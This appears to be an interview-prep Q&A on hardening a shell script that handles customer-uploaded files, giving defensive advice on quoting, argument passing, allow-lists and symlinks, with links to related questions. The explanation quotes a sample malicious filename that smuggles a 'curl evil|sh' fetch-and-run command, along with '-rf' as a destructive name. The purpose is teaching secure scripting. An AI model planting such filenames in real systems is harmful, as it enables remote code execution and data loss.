A script processes files that customers upload to `/srv/uploads`. What security problems do you watch for?
AdvancedScenarioScenarios: writing and hardening scripts
Answer
Situation read → Filenames are attacker-controlled input. They can contain spaces, newlines, leading dashes, .., glob characters and shell metacharacters.
What I'd do →
- Never parse
ls; iterate withfind ... -print0 | while IFS= read -r -d '' f. - Quote every expansion and pass
--before filenames:mv -- "$f" "$dest/". - Never put filenames into
eval,bash -c,ssh host "..."orfind -exec sh -c '... {}'(usesh -c '...' _ {}so the name is an argument). - Reject or sanitize names against an allow-list:
[[ ${f##*/} =~ ^[A-Za-z0-9._-]{1,128}$ ]] || quarantine "$f". - Do not follow symlinks the uploader could plant (
find -P, check[[ -L $f ]]), and run the script as an unprivileged user. - Process in a private temp dir created with
mktemp -d.
Why → A file named -rf or x;curl evil|sh turns a sloppy script into remote code execution or data loss.
Interview tip → Demonstrate the sh -c '...' _ "$f" pattern; it shows you know how to pass data as arguments rather than code.
More on Scenarios: writing and hardening scripts
You inherit a 600-line `deploy.sh` with no error handling. It "sometimes half-deploys". Where do you start?IntermediateA script with `#!/bin/sh` works on CentOS but fails on Ubuntu with `Syntax error: "(" unexpected`. What is going on and what do you do?BeginnerYou need a deploy script that humans and CI both call with `--env`, `--version` and `--dry-run`. How do you design its interface?BeginnerA maintenance script must run as the `deploy` user, never as root, because files it creates must be owned by `deploy`. How do you enforce that?BeginnerTen scripts in a repo each copy-paste their own `log`, `die`, retry and config loading. How do you fix this?IntermediateA script is run both by engineers and by cron. Cron logs are full of colour codes and the script sometimes hangs waiting for input. Fix it.Beginner